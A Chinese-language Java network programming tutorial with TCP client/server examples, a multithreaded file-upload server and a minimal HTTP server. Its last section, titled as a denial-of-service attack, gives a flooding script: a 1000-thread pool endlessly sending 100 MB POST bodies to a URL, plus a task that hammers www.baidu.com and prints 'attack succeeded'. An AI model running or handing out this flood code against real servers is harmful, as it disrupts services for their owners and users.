Java网络编程

一、  TCP案例的客户端

    1、在Java中,有一个类叫做Socket,表示TCP的客户端

    Socket构造方法:

        Socket(String host, int port): 参数host表示目标服务器的ip地址。 参数port表示服务器程序的端口号。

    Socket的其他方法:

        OutputStream getOutputStream():获取一个字节输出流,用来写数据(向服务器写数据)

        InputStream getInputStream(): 获取一个字节输入流,用来读数据(读取服务器发过来的数据)

        void close(): 释放

    使用步骤:

        1. 创建一个Socket客户端对象,在参数位置指定一个要连接的服务器ip地址和端口号

        2. 调用socket对象的getOutputStream方法,获取输出流,用来向服务器写数据。

        3. 调用输出流的write方法,向服务器发送数据。

        4. 调用Socket对象的getInputStream方法,获取输入流,用来读取服务器发送过来的数据。

        5. 调用输入流的read方法,读取服务器发送过来的数据。

        6. 释放资源

public class Demo01Client {

    public static void main(String[] args) throws IOException {

        //创建一个Socket客户端对象,在参数位置指定一个要连接的服务器ip地址和端口号

        //客户端会尝试去连接服务器, 如果连接失败,那么就会报错,因为tcp是可靠协议,必须要先建立连接(三次握手)

        Socket socket = new Socket("127.0.0.1", 9527);

        //调用socket对象的getOutputStream方法,获取输出流,用来向服务器写数据。

        OutputStream out = socket.getOutputStream();//这个流的目的地是服务器

        //调用输出流的write方法,向服务器发送数据。

        out.write("你好服务器,I’m coming".getBytes());

 

        //调用Socket对象的getInputStream方法,获取输入流,用来读取服务器发送过来的数据。

        InputStream in = socket.getInputStream();//这个输入流是从服务器读取数据

        //调用输入流的read方法,读取服务器发送过来的数据。

        byte[] bArr = new byte[1024];

        int len = in.read(bArr);

        System.out.println(new String(bArr, 0, len));

 

        //释放资源

        socket.close();

    }

}

2、tcp案例中的服务器

   在java中,ServerSocket表示服务器。

   ServerSocket的构造方法:

        ServerSocket(int port): 参数port表示此服务器程序的端口号。

    ServerSocket的其他方法:

        Socket accept(): 监听并获取客户端Socket。 (等着客户端来访问,什么时候客户端来访问,什么时候就可以获取到客户端Socket)

        void close(): 释放资源

    服务器的使用步骤:

        1. 创建ServerSocket服务器对象。

        2. 调用accept方法,监听并获取客户的请求, 可以得到客户端Socket对象。

        3. 通过Socket对象调用getInputStream方法,得到流用来读取,此时读取的是客户端发来的数据。

        4. 调用输入流的read方法,读取到数据。

        5. 通过Socket对象调用getOutputStream方法,获取输出流,用来写(此时是向客户端写数据)

        6. 调用输出流的write方法,写数据

        7. 释放资源。

        

public class Demo02Server {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象。

        ServerSocket serverSocket = new ServerSocket(9527);

        //调用accept方法,监听并获取客户的请求, 可以得到客户端Socket对象。

        Socket socket = serverSocket.accept();

 

        //System.out.println(socket.getInetAddress());

 

        //调用socket的getInputStream,获取输入流

        InputStream in = socket.getInputStream(); //这个输入流是读取客户端发过来的数据

        //调用输入流的read方法,读取到数据。

        byte[] bArr = new byte[1024];

        int len = in.read(bArr);

        System.out.println(new String(bArr, 0, len));

 

        //调用socket的getOutputStream,获取输出流。

        OutputStream out = socket.getOutputStream();

        //调用输出流的write方法,写数据

        out.write("收到,谢谢".getBytes());

 

        //释放资源

        socket.close();

        serverSocket.close();

    }

}

二、 上传案例的客户端

    1、客户端做的事情是将自己电脑上的文件字节读取出来,写到服务器中,然后再接收一下服务器返回过来的数据。

    步骤:

        1. 创建一个FileInputStream,用来读取客户端自己电脑的文件。

        2. 创建一个客户端Socket对象,并且指定要连接的服务器

        3. 调用Socket对象的getOutputStream方法,获取一个输出流。

        4. 循环读取,每读取一个字节数组,就将读取到的内容写到目的地(服务器)文件中

        5. 释放FileInputStream资源

        6. 调用Socket对象的getInputStream方法,获取一个输入流

        7. 调用输入流的read方法,接收服务器返回过来的数据。

        8. 释放客户端Socket资源

public class Demo01UploadClient {

    public static void main(String[] args) throws IOException {

        //创建一个FileInputStream,用来读取客户端自己电脑的文件。

        FileInputStream fis = new FileInputStream("d:\\client\\aa.jpg");

        //创建一个客户端Socket对象,并且指定要连接的服务器

        Socket socket = new Socket("127.0.0.1", 9527);

        //调用Socket对象的getOutputStream方法,获取一个输出流。

        OutputStream out = socket.getOutputStream();

 

        //循环读取,每读取一个字节数组,就将读取到的内容写到目的地(服务器)文件中

        byte[] bArr = new byte[1024];

        int len;

        while ((len = fis.read(bArr)) != -1) {

            //将读取到的数据写到服务器。

            out.write(bArr, 0, len);

        }

 

        //客户端写完数据,要通知服务器,我已经写完了,你就不要再等我了

        socket.shutdownOutput();

 

        //释放FileInputStream资源

        fis.close();

 

        //调用Socket对象的getInputStream方法,获取一个输入流

        InputStream in = socket.getInputStream();

        //调用输入流的read方法,接收服务器返回过来的数据。

        len = in.read(bArr);

        System.out.println(new String(bArr, 0, len));

        //释放资源

        socket.close();

    }

}

2、上传案例服务器

    服务器需要读取客户端发送过来的字节,然后将这些字节写到自己的电脑中。 再给客户端回一个消息。

    思路:

        1. 创建ServerSocket服务器对象

        2. 创建一个字节输出流对象,向自己电脑上写数据。

        3. 调用服务器ServerSocket对象的accept方法,获取一个客户端Socket对象

        4. 调用客户端Socket对象的getInputStream方法,获取输入流用来读取客户端发过来的数据。

        5. 读取客户端发送过来的数据, 一次读取一个字节数组,每读取到,就将读取到的内容写到自己本地。

        6. 释放资源

        7. 调用Socket对象的getOutputStream方法,获取输出流用来向客户端写数据

        8. 调用输出流对象的write方法,向客户端写数据。

        9. 释放资源

public class Demo02UploadServer {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象

        ServerSocket serverSocket = new ServerSocket(9527);

 

        //调用服务器ServerSocket对象的accept方法,获取一个客户端Socket对象

        Socket socket = serverSocket.accept();

 

        //创建一个字节输出流对象,向自己电脑上写数据。

        FileOutputStream fos = new FileOutputStream("d:\\server\\"+ UUID.randomUUID().toString()+".jpg");

 

        //调用客户端Socket对象的getInputStream方法,获取输入流用来读取客户端发过来的数据。

        InputStream in = socket.getInputStream();

        //读取客户端发送过来的数据, 一次读取一个字节数组,每读取到,就将读取到的内容写到自己本地。

        byte[] bArr = new byte[1024];

        int len;

        while ((len = in.read(bArr)) != -1) {

            fos.write(bArr, 0, len);

        }

        //释放资源

        fos.close();

 

        //调用Socket对象的getOutputStream方法,获取输出流用来向客户端写数据

        OutputStream out = socket.getOutputStream();

        //调用输出流对象的write方法,向客户端写数据。

        out.write("上传成功".getBytes());

        //释放资源

        socket.close();

 

    }

}

 

3、之前服务器收到一个上传请求后那么就会停止。

    这样是不符合要求的。

    正常要求: 服务器可以给多个客户端执行上传任务,即使上传完成,那么服务器也不会停止。

    我们可以把监听获取客户端请求的代码,以及执行上传操作的代码放在死循环中,让他一直执行。

@SuppressWarnings("all")

public class Demo03UploadServer {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象

        ServerSocket serverSocket = new ServerSocket(9527);

        while(true) {

            //调用服务器ServerSocket对象的accept方法,获取一个客户端Socket对象

            Socket socket = serverSocket.accept();

 

            //创建一个字节输出流对象,向自己电脑上写数据。

            FileOutputStream fos = new FileOutputStream("d:\\server\\" + UUID.randomUUID().toString() + ".jpg");

 

            //调用客户端Socket对象的getInputStream方法,获取输入流用来读取客户端发过来的数据。

            InputStream in = socket.getInputStream();

            //读取客户端发送过来的数据, 一次读取一个字节数组,每读取到,就将读取到的内容写到自己本地。

            byte[] bArr = new byte[1024];

            int len;

            while ((len = in.read(bArr)) != -1) {

                fos.write(bArr, 0, len);

            }

            //释放资源

            fos.close();

 

            //调用Socket对象的getOutputStream方法,获取输出流用来向客户端写数据

            OutputStream out = socket.getOutputStream();

            //调用输出流对象的write方法,向客户端写数据。

            out.write("上传成功".getBytes());

            //释放资源

            socket.close();

        }

    }

}

 

4、死循环问题解决

    之前的死循环版本是有问题的。

    如果某个人上传了比较大的文件,那么服务器会一直给这个客户端执行上传任务,那么此时他就不会去监听

    后面的客户端请求,此时其他客户端就只能等着。

    解决方式:使用多线程。

    之前: 每收到一个上传请求,就在mian线程中给这个客户端执行上传任务。

    现在: 每收到一个上传请求,就创建一个新的线程,让新的线程执行这个上传任务。

          因为是新线程执行的上传任务,所以mian线程还可以继续往下执行, 可以执行监听并获取客户端请求的代码。

@SuppressWarnings("all")

public class Demo04UploadServer {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象

        ServerSocket serverSocket = new ServerSocket(9527);

        while(true) {

            //调用服务器ServerSocket对象的accept方法,获取一个客户端Socket对象

            Socket socket = serverSocket.accept();

 

            //创建一个Task对象

            Task task = new Task(socket);

            //创建一个新的线程去执行这个任务

            new Thread(task).start();

        }

    }

}

5、上传案例Lambda表达式版本

@SuppressWarnings("all")

public class Demo05UploadServer {

    public static void main(String[] args) throws IOException {

        //创建ServerSocket服务器对象

        ServerSocket serverSocket = new ServerSocket(9527);

        while(true) {

            //调用服务器ServerSocket对象的accept方法,获取一个客户端Socket对象

            Socket socket = serverSocket.accept();

 

            //Lambda表达式版本

            new Thread(() -> {

                try {

                    //创建一个字节输出流对象,向自己电脑上写数据。

                    FileOutputStream fos = new FileOutputStream("d:\\server\\" + UUID.randomUUID().toString() + ".jpg");

                    //调用客户端Socket对象的getInputStream方法,获取输入流用来读取客户端发过来的数据。

                    InputStream in = socket.getInputStream();

                    //读取客户端发送过来的数据, 一次读取一个字节数组,每读取到,就将读取到的内容写到自己本地。

                    byte[] bArr = new byte[1024];

                    int len;

                    while ((len = in.read(bArr)) != -1) {

                        fos.write(bArr, 0, len);

                    }

                    //释放资源

                    fos.close();

 

                    //调用Socket对象的getOutputStream方法,获取输出流用来向客户端写数据

                    OutputStream out = socket.getOutputStream();

                    //调用输出流对象的write方法,向客户端写数据。

                    out.write("上传成功".getBytes());

                    //释放资源

                    socket.close();

                } catch (IOException e) {

                    e.printStackTrace();

                }

            }).start();

 

 

            //实现匿名内部类版本

            /*

            new Thread(new Runnable() {

                @Override

                public void run() {

                    try {

                        //创建一个字节输出流对象,向自己电脑上写数据。

                        FileOutputStream fos = new FileOutputStream("d:\\server\\" + UUID.randomUUID().toString() + ".jpg");

                        //调用客户端Socket对象的getInputStream方法,获取输入流用来读取客户端发过来的数据。

                        InputStream in = socket.getInputStream();

                        //读取客户端发送过来的数据, 一次读取一个字节数组,每读取到,就将读取到的内容写到自己本地。

                        byte[] bArr = new byte[1024];

                        int len;

                        while ((len = in.read(bArr)) != -1) {

                            fos.write(bArr, 0, len);

                        }

                        //释放资源

                        fos.close();

 

                        //调用Socket对象的getOutputStream方法,获取输出流用来向客户端写数据

                        OutputStream out = socket.getOutputStream();

                        //调用输出流对象的write方法,向客户端写数据。

                        out.write("上传成功".getBytes());

                        //释放资源

                        socket.close();

                    } catch (IOException e) {

                        e.printStackTrace();

                    }

                }

            }).start();

            */

        }

    }

}

 

 

6、线程任务类,线程要执行的任务是上传任务

public class Task implements Runnable{

 

    //定义一个成员变量Socket,用来接收外界传递过来的Socket对象

    private Socket socket;

 

    //提供一个构造方法,用来给这个Socket对象赋值

    public Task(Socket socket) {

        this.socket = socket;

    }

 

    @Override

    public void run() {

        try {

 

            //创建一个字节输出流对象,向自己电脑上写数据。

            FileOutputStream fos = new FileOutputStream("d:\\server\\" + UUID.randomUUID().toString() + ".jpg");

 

            //调用客户端Socket对象的getInputStream方法,获取输入流用来读取客户端发过来的数据。

            InputStream in = socket.getInputStream();

            //读取客户端发送过来的数据, 一次读取一个字节数组,每读取到,就将读取到的内容写到自己本地。

            byte[] bArr = new byte[1024];

            int len;

            while ((len = in.read(bArr)) != -1) {

                fos.write(bArr, 0, len);

            }

            //释放资源

            fos.close();

 

            //调用Socket对象的getOutputStream方法,获取输出流用来向客户端写数据

            OutputStream out = socket.getOutputStream();

            //调用输出流对象的write方法,向客户端写数据。

            out.write("上传成功".getBytes());

            //释放资源

            socket.close();

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

}

三、模拟web服务器

public class Demo01Tomcat {

    public static void main(String[] args) throws IOException {

        //创建一个服务器ServerSocket对象

        ServerSocket serverSocket = new ServerSocket(10000);

        while(true) {

            //监听并获取客户端的请求

            Socket socket = serverSocket.accept();

 

            new Thread(() -> {

                try {

                    //将index.html文件中的内容读取出来,写给浏览器

                    //创建一个字节输入流,用来读取本地的文件

                    FileInputStream fis = new FileInputStream("day11\\index.html");

                    //通过Socket获取一个输出流, 用来向客户端(浏览器)写数据

                    OutputStream out = socket.getOutputStream();

                    //根据http协议要求,前三行必须是固定的内容。 前两行是特殊的字符串, 第三行是一个空换行。

                    out.write("HTTP/1.1 200 OK\r\n".getBytes()); //第一行

                    out.write("Content-Type:text/html\r\n\r\n".getBytes()); //第二行第三行

 

                    //开始读取index.html中的文件内容,并写到浏览器中

                    byte[] bArr = new byte[1024];

                    int len;

                    while((len = fis.read(bArr)) != -1) {

                        //将读取到的数据写到目的地文件中

                        out.write(bArr, 0, len);

                    }

                    //释放资源

                    fis.close();

                    socket.close();

                } catch (IOException e) {

                    e.printStackTrace();

                }

 

            }).start();

 

 

        }

 

    }

}

 

四、服务器拒绝访问攻击

 

public class Task2 implements Runnable {

 

    @Override

    public void run() {

        try {

            System.out.println("发报成功");

            URL url = new URL("http://");

            URLConnection con = url.openConnection();

            con.setDoOutput(true);

            OutputStream out = con.getOutputStream();

            out.write(new byte[1024 * 1024 * 100]);

        } catch (MalformedURLException e) {

            // TODO Auto-generated catch block

            e.printStackTrace();

        } catch (IOException e) {

            // TODO Auto-generated catch block

            e.printStackTrace();

        }

    }

}

public class Task implements Runnable {

 

    @Override

    public void run() {

        try {

            URL url = new URL("http://www.baidu.com");

            URLConnection conn = url.openConnection();

            System.out.println("发包成功!");

            BufferedInputStream bis = new BufferedInputStream(

                    conn.getInputStream());

            byte[] bytes = new byte[1024 * 10];

            int len = -1;

            //StringBuilder sb = new StringBuilder();

 

            if (bis != null) {

                if ((len = bis.read(bytes)) != -1) {

                    //sb.append(new String(bytes, 0, len));

                    System.out.println(new String(bytes, 0, len));

                    System.out.println("攻击成功!");

                    bis.close();

                }

            }

        } catch (MalformedURLException e) {

            // TODO Auto-generated catch block

            e.printStackTrace();

        } catch (IOException e) {

            // TODO Auto-generated catch block

            e.printStackTrace();

        }

    }

}

 

package cn.itcast.demo04;

 

import java.util.concurrent.ExecutorService;

import java.util.concurrent.Executors;

 

public class Demo {

    public static void main(String[] args) {

        ExecutorService pool = Executors.newFixedThreadPool(1000);

        while(true) {

            pool.submit(new Task2());

        }

    }

}

 

 

 

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